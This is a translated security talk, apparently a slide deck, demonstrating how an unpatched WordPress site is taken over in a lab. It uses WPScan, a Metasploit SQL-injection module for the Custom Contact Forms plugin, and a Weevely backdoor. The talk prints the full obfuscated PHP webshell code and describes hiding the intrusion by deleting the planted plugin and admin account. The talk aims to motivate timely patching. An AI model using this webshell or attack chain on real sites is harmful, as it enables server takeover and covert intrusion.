  • Чтобы просмотреть примечания во всплывающем окне, нажмите «n».

Посмотреть презентацию можно по адресу:
http://www-personal.umich.edu/~markmont/awp/

Исходный файл с текстом презентации можно загрузить по ссылке:
http://www-personal.umich.edu/~markmont/awp.zip

Кто я такой

  • Я системный администратор, да еще и программист. Занимаюсь разработкой веб приложений и технической поддержкой «Программы исследований компьютеров с высокой производительностью» в Мичиганском университете.
  • На предыдущей работе я заведовал отделом главной центральной веб-инфраструктуры Мичиганского университета в течение 5 лет, в том числе предоставление хостинга для сайтов WordPress на базе университета.
  • 19 лет занимался обеспечением безопасности ПК от угроз несанкционированного доступа к данным.
  • 11 лет занимался обеспечением безопасности веб-приложений, вопросами, связанными с различными нарушениями нормального функционирования системы безопасности / взломами, в том числе и вопросами по безопасности WordPress.

Кем я не являюсь

  • Специалистом по безопасности (есть более осведомлённые в вопросах интернет безопасности люди, чем я).
  • Хакером или злоумышленником (у них гораздо больше возможностей, чем у меня, т.к. они располагают целым «набором инструментов взломщика»).

Эта презентация могла бы быть гораздо более пугающей, если бы ее делал специалист по компьютерной безопасности, либо хакер.

Данная презентация является обновленной, правда, и значительно сокращенной версией presentation I gave for WordPress Ann Arbor in January 2014. Для более подробной информации, особенно о том, какие типы злоумышленников встречаются в сети, что их мотивирует, и как защитить ваш сайт на WordPress смотрите оригинальную презентацию.

Как специалист по безопасности, так и злоумышленник располагают гораздо большим свободным временем, чем специалист широкого профиля, такой как я.

У компьютерных пиратов есть возможность пользоваться вредоносными программными средствами, в том числе целым арсеналом высокотехнологичных инструментальных средств разработки прикладных программ для взлома систем безопасности вебсайтов, доступ к форумам черных хакеров и т.д. Пакеты разработчика и комплекты для взлома систем безопасности (эксплойты) свободно продают и покупают за криптовалюту Bitcoin или доллары на сайтах черных рынков.

В настоящей презентации речь пойдет об использовании только легальных инструментов разработчика, т.к. я предпочитаю не пользоваться не вызывающим доверия ПО и, тем более, не хотел бы закончить свою карьеру в качестве нарушителя закона.

В своей предыдущей презентации я рассказывал об уязвимости систем безопасности к внедрению PHP кода при работе с дополнительным модулем W3 Total Cache и о запуске командной оболочки (командного процессора) на веб сервере. В новой презентации речь пойдет об уязвимости систем безопасности к внедрению запроса SQL во время добавления нового администратора на сайт WordPress через базу данных сайта.

Не становитесь хакером

Цель данной презентации – показать насколько легко получить контроль над сайтом, работающим под управлением WordPress, если его своевременно не обновлять. Надеюсь этим мотивировать вас во время обновлять базы данных сайта на WordPress и следить за его безопасностью.

Все показанное в презентации является основами безопасности, и доступно каждому, у кого есть выход в Интернет, также все представленное в показе легко найти с помощью обычного веб поиска. В презентации не представлены сложные в применении передовые технологии или технические приемы, понятные только специалисту.

Однако, самовольное использование материалов презентации в отношении сайтов или ПК, которые не являются вашей собственностью, противозаконно и влечет за собой соответствующие наказание. Не следует этого делать.

Цель

http://myblog2.catseye.org/

http://myblog2.catseye.org/

Данный сайт на WordPress работает на виртуальной машине моего лэптопа и не имеет публичного доступа.

  • WordPress 4.0 (последняя версия на период публикации презентации).
  • Плагин: Custom Contact Forms версия 5.1.0.3  на одну версию старее чем последний пресс-релиз.«Плагин для WordPress с возможностью настройки под индивидуальные потребности пользователя и с интуитивно понятной формой обратной связи»

Загружен более 641,000 раз. Оценка 3.8 по 5 бальной шкале.

Примечание! У версии 5.1.0.3. есть проблемы с безопасностью! Версия, используемая нами 5.1.0.4., выпущена 4 августа 2014 г.  

  • Работает на сервере Ubuntu 14.04.1 LTS 64 бит (последняя версия от LTS), полностью укомплектован и обновлен.

Все настроено в соответствии с инструкциями, представленными на сайтах: wordpress.org и ubuntu.com. Единственное дополнение, которое я сделал на свое усмотрение – включил безопасный командный процессор (SSH), чтобы можно было управлять программой через командную строку.

Используем Ubuntu Server LTS, поскольку он давно уже себя положительно зарекомендовал и пользуется наибольшей популярностью среди пользователей, работающих со своими серверами.

Атакующий

badguy2.catseye.org

Взломщик сайта

Атакующая система работает на второй виртуальной машине, доступной на моем лэптопе, и также как и цель взлома ее нет в общем доступе.

Мы используем последнюю версию Kali Linux 1.0.9, работающую под управлением Debian 7 «Wheezy».

Kali Linux, http://www.kali.org/

  • Легальный инструмент, который позволяет компаниям проверить свои сети на наличие проблем с безопасностью.
  • Точней это комплект из более, чем 300 средств обеспечения защиты, включая инструменты для проверки надежности систем безопасности, а также аналитические инструменты для восстановления после хакареских атак.
  • Это полностью разработанная Linux система, которой можно спокойно доверять. Запускаются дистрибутивы как с CD диска, так и устанавливаются на компьютер.
  • Мы будем использовать продукт Linux, потому что это наиболее быстрый и простой способ запустить имитацию атаки: скачал, запустил, атакуй.

На самом деле нам понадобятся только три из всего разнообразия предлагаемых и разрабатываемых Kali Linux инструментов:

  • WPScan: Осуществляет поиск на наличие проблем с безопасностью у сайтов на WordPress и взламывает при помощи грубой силы (brute-force) пароли пользователей WordPress.
  • Metasploit: Высокотехнологичный набор инструментов по проверке безопасности, снабженный веб интерфейсом, через который можно легко запускать атаки, даже не имея глубоких технических познаний в этой области.
  • Weevely: «PHP вебшел» – вредоносный скрипт, который при загрузки его на сайт, открывает черный ход ко всем данным сайта и позволяет в результате получить полный контроль над веб сервером.

Вместо дистрибутива Kali Linux мы могли бы просто по отдельности скачать и установить WPScan, Metasploit, и Weevely. Это потребовало бы лишь чуточку больше технических знаний, чем при использовании готового пакета Kali Linux, плюс немного больше потратить времени на настройку программ и радоваться результату проделанных трудов. Но выберем менее трудоемкий вариант.

WPScan

Чтобы познакомиться с работой WPScan, запустите его с помощью опции справки --help:

root@badguy2: ~# wpscan --help
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password bruter and do the brute.
--username | -U <username>          Only brute force the supplied username.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.
root@badguy2: ~#

WPScan

Взгляните на сайт:  http://arc.research.umich.edu/

root@badguy2: ~# wpscan --url arc.research.umich.edu
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://arc.research.umich.edu/
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi
    Reference: https://wpvulndb.com/vulnerabilities/5963
    Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
    Reference: https://wpvulndb.com/vulnerabilities/5964
    Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/
    Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166
    Reference: http://osvdb.org/105620
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
    Reference: https://wpvulndb.com/vulnerabilities/5965
    Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165
    Reference: http://osvdb.org/105630
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
    Reference: https://wpvulndb.com/vulnerabilities/5966
    Reference: https://secunia.com/advisories/57769
    Reference: http://osvdb.org/105622
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
    Reference: https://wpvulndb.com/vulnerabilities/7526
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
    Reference: http://www.breaksec.com/?p=6362
    Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
    Reference: https://wpvulndb.com/vulnerabilities/7528
    Reference: https://core.trac.wordpress.org/changeset/29384
    Reference: https://core.trac.wordpress.org/changeset/29408
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
    Reference: https://wpvulndb.com/vulnerabilities/7529
    Reference: https://core.trac.wordpress.org/changeset/29398
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
    Reference: https://wpvulndb.com/vulnerabilities/7530
    Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc
    Reference: http://getid3.sourceforge.net/
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
    Reference: https://wpvulndb.com/vulnerabilities/7531
    Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout
    Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location: http://arc.research.umich.edu/wp-content/themes/orci/
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css
 |  Theme Name: ORCI
 |  Theme URI: http://orci.research.umich.edu/
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI: http://example.com/about/

[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/
 |  Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css
 |  Theme Name: Twenty Eleven
 |  Theme URI: http://wordpress.org/themes/twentyeleven
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution
    Reference: https://wpvulndb.com/vulnerabilities/7021
    Reference: http://packetstormsecurity.com/files/125018/
    Reference: http://seclists.org/fulldisclosure/2014/Feb/0
    Reference: http://osvdb.org/102776

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/

[+] Name: jquery-colorbox - v4.6
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/

[+] Name: mailchimp - v1.4.1
 |  Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/

[+] Name: page-list - v4.2
 |  Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/

[+] Name: social - v2.11
 |  Location: http://arc.research.umich.edu/wp-content/plugins/social/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/

[+] Name: wp-paginate - v1.2.4
 |  Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/

[+] Name: youtube-shortcode - v1.8.5
 |  Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~#

Это сайт на платформе WordPress, с которым мне часто приходится иметь дело по работе.

WPScan определил, что сервер работает на кроссплатформенным ПО Apache, но не смог выяснить, какой он версии.

Несмотря на правило №1, соблюдение которого просто необходимо для должного обеспечения безопасности, — это регулярно обновлять всё имеющееся в арсенале владельца сайта ПО, настоящий сайт все еще работает на WordPress версии 3.8.1. Это очень плохо, к сожалению, подобное поведение не редкость.

WPScan обнаружил девять уязвимых мест в системе безопасности. Большая часть из них, скорее всего, будут не особо полезными для случайного злоумышленника, но некоторые все же могут дать ему возможность взломать ваш сайт. Более подробно об обнаруженных слабых местах читайте под каждой ссылкой в результатах сканирования WPScan.

WPScan обнаружил одну тему («orci», которая в соответствии с полученными результатами производная от темы двадцать одиннадцать – Twenty Eleven) и 8 дополнительных модулей. Вероятных таких уязвимых мест гораздо больше, если проверить систему с помощью сканирования WPScan в режиме полного поиска плагинов («wpscan —enumerate ap»).

Имейте в виду, что конфигурация веб-сервера, позволяющей размещение справочного или рекламного контента из различных источников – потенциально полезная для злоумышленника брешь в системе безопасности.

Ели бы мы решили взломать этот сайт, то WPScan предоставил нам для этого множество возможных потенциальных лазеек и обходных путей.

WPScan

Теперь нашей целью (мишенью) будет:  http://myblog2.catseye.org/

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
 |  Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
 |  Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/

[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
    Reference: https://wpvulndb.com/vulnerabilities/6296
    Reference: http://packetstormsecurity.com/files/112616/

[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
    Reference: https://wpvulndb.com/vulnerabilities/7542
    Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
    Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4
[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit

WPScan указал не только какое серверное программное обеспечение используется, но и версии http-сервера Apache и PHP.

WPScan обнаружил плагин Custom Contacts Form (формы обратной связи) и корректно заметил уязвимость в базе данных у данного плагина.

Metasploit

http://www.metasploit.com/

Metasploit

Metasploit доступен в четырех версиях:

  • Metasploit Framework (бесплатная программа, с открытым исходным кодом, управление только через командную строку (консоль)).
  • Metasploit Community (бесплатное ПО, снабжено веб-интерфейсом)
  • Metasploit Express, Metasploit Pro (коммерческое ПО)

Чтобы запустить веб-интерфейс Metasploit под управлением Kali Linux, введите следующие команды:

service postgresql start
service metasploit start

Подождите несколько минут, пока запустится Metasploit и создайте базу данных, затем перейдите на сайт: http://badguy2.catseye.org:3790/.

Все что показано в данной презентации можно выполнить с любым из указанных выше вариантов ПО Metasploit. В настоящем демо показе мы используем Metasploit Community.

Основные этапы:

  1. Создайте личный кабинет в Metasploit.
  2. Получите и введите лицензионный ключ (для версий Community, Express, Pro)
  3. Создайте проект.
  4. Выберите и запустите эксплойт для вторжения на сайт-мишень нашей атаки.
  5. Можете делать все, что захотите с сайтом-жертвой атаки.

Шаги 1 из 2 уже были выполнены мной ранее, перейдем непосредственно к этапу 3.

Проект как хранилище, в котором всегда можно найти данные о тестируемых системах и результаты проведенных испытаний.

Веб-интерфейс Metasploit – главная страница:

Мetasploit

Эта страница, которую видит пользователь, после того как он создал профиль пользователя в Metasploit, запросил и ввел ключ продукта, а затем вошел в личный кабинет.

Щелкните по кнопке «Создать новый проект».

Введите название проекта и либо сети, либо IP адерса, которые собираетесь тестировать, а затем щелкните по вкладке Создать проект.

Мetasploit

Чтобы ускорить процесс, поскольку мы будем работать только с одной целью, достаточно указать IP адрес. Указывать сетевой диапазон (диапазон номеров сети) не обязательно.

Страница просмотра проекта:

Мetasploit

По правилам мы должны бы вначале выполнить сканирование системы с помощью Metasploit, а только затем использовать функцию «Эксплойт» для попытки взлома сайтов, обнаруженных сканером. Но поскольку мы и так знаем по результатам сканирования программой WPScan, что наш сайт-мишень имеет уязвимый плагин, чтобы сэкономить время пропустим этот этап. Теперь просто нажмите вкладку «Модули» в меню вверху страницы и выберите «Поиск». Затем уточните поиск «WordPress».

Мы на самом деле мы не используем и половины имеющихся у Metasploit возможностей.

Список эксплойт модулей от Metasploit для взлома WordPress:

Мetasploit

Выберите команду «Загрузка SQL скрипта для плагина обратной связи сайта на WordPress».

У площадки WordPress также есть множество других уязвимых мест, не представленных здесь. Если мы решим воспользоваться каким-либо приемом, не обозначенный в настоящих материалах, то нам понадобится создать модуль для пробной атаки в Metasploit самостоятельно, можно это сделать, как в ручную, так и с помощью различных инструментов.

Мetasploit

Хотя помимо прочего есть возможность настроить массу дополнительных опций, нам достаточно лишь убедится, что IP адрес целевой системы указан верно, а затем выбрать команду «Запуск модуля». Затем программа Metasploit попытается создать аккаунт нового администратора на целевом WordPress сайте.

Чтобы содержание веб-страницы поместилось в слайде, я отредактировал поля, которые обычно отображаются в секции «Опции модуля».

Работа с эксплойтом:

Мetasploit

На данный момент это все, что касается работы с эксплойтами. Сайт был взломан программой и мы сможем войти в консоль управления в качестве администратора.

Заметьте, что модуль эксплойта вначале определили код таблицы с базой данных сайта и только после этого загрузил SQL-запрос, чтобы создать аккаунт администратора.

Авторизация  злоумышленника

Авторизация на сайте

Наиболее эффективным способом усложнить процесс регистрации на сайте для злоумышленника, будет сделать страницу авторизации доступной только по определенным параметрам. Например, если злоумышленник находится, скажем, во Вьетнаме, а страница входа в систему доступна только для IP адресов, находящихся в городе Анн-Арборе, штата Мичиган, США, тогда злоумышленнику потребуется использовать VPN, попытаться проникнуть на сайт через слабые места в CCF, чтобы украсть информацию об одной из сессий из базы данных сайта, либо попытаться еще раз устроит атаку сайта с помощью SQL-запроса.

Пользователи WordPress

WordPpress Users

Как видите, пользователь, зарегистрированный через эксплойт, спокойно получил все права администратора и может выполнять через консоль сайта те же операции, что и владелец сайта или блога.

Хотя вполне очевидно, что было проникновение на сайт. Если настоящий владелец в это время зайдет в консоль управления, то он увидеть наш аккаунт, удалит его и, возможно, предпримет какие-то меры по защите сайта, например, обновит версию WordPress.

И что же теперь?

  • Мы можем создать или изменить некоторые посты и публикации в надежде, что владелец не заметит этого. Так мы можем вписать в статью SEO ключи или просто вставить ссылки на другие сайты, либо выполнить скрытую загрузку средств кибернападения, чтобы получить нужные данные с компьютеров посетителей сайта. Но, разумеется, стоит ожидать, что владелец сайта заметит наш аккаунт рано или поздно.
  • Мы можем закрыть доступ к сайту его владельцу, изменив все пароли, либо просто испортить сайт, заспамить его и т.д., но владелец, скорее всего, восстановит управление ресурсом через своего хостинг провайдера, а затем восстановит сайт с помощью резервной копии. Владельцы веб-ресурсов часто создают полные копии своих сайтов, регулярно обновляя их и проверяя их сохранность.
  • Либо, мы можем установить скрытую лазейку, которая позволит нам получить полный контроль над сервером – а затем скрыть следы нашего пребывания, удалив созданный нами аккаунт администратора…

Weevely

  • Weevely – это скрытый PHP веб-шелл, снабженный консолью наподобие telnet-протокола. Является основным инструментом для работы с постэксплуатацией веб-приложенияй, который можно использовать, как скрытый путь обхода системы защиты.
  • Weevely состоит из более чем 30 модулей для автоматизации административных и постэксплуатационных задач.
  • Weevely снабжен подробной обучающей инструкцией по применению.
  • Weevely входит в стандартный пакет дистрибутива Kali Linux.
  • Чтобы создать код для входа на сайт, который вы затем сможете загрузить на веб-сервер, чтобы получить скрытый удаленный доступ к серверу, используйте команду weevely generate и добавьте к ней пароль, который вы собираетесь использовать для управления backdoor:
root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'
root@badguy2:~#

 

Существуют десятки других PHP шеллов и бэкдор, мы выбрали Weevely, потому что эта программа проста и удобна в использовании, и потому что она входит в пакет дистрибутива Kali Linux.

Вот обфусцированный PHP код (weevely.php), который Weevely сгенерировал для нас для загрузки на сервер:

<?php
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
?>

Это активный PHP код, который принимает команду от хакера, проверяет пароль взломщика на совпадение, и, если, с паролем все в порядке, выполняет команду.

Если мы разместим файл weevely.php в корневой директории сайта, тогда мы сможем войти через бэкдор по адресу: http://myblog2.catseye.org/weevely.php (хотя чтобы зайти туда нам также придется использовать Weevely, если попытаться зайти по этому адресу через обычный веб-браузер, то откроется пустая страница).

Помимо того, что код обфусцирован, он является еще полиморфным, т.е. в нем присутствует некий случайный элемент, являющийся уникальным для каждого кода, генерируемого Weevely – такой подход позволяет предотвратить обнаружение кода антивирусным ПО и другим сканерами вредоносных программ после его загрузки.

Итак, как же нам загрузить файл weevely.php на целевой веб-сервер?

  • Благодаря эксплойт модулю Metasploit мы создали профиль администратора на сайте WordPress, а администраторы на площадке WordPress могут загружать плагины, содержащие файлы с разрешением.php.
  • Но незнакомый плагин, присутствие которого не предполагалось, может стать еще более очевидной уликой вторжения в консоль управления – согласно статистике, пользователи гораздо чаще обращают внимание на плагины, чем на зарегистрированных пользователей. Поэтому владелец сайта может просто удалить наш плагин вместе с содержащемся в нем коде бэкдор.
  • Итак, мы загрузили плагин, который создаст бэкдор при его активации, при этом бэкдор он разместит вне директории самого плагина. Затем мы удалим и плагин, и аккаунт администратора, скрыв признаки проникновения на сайт.
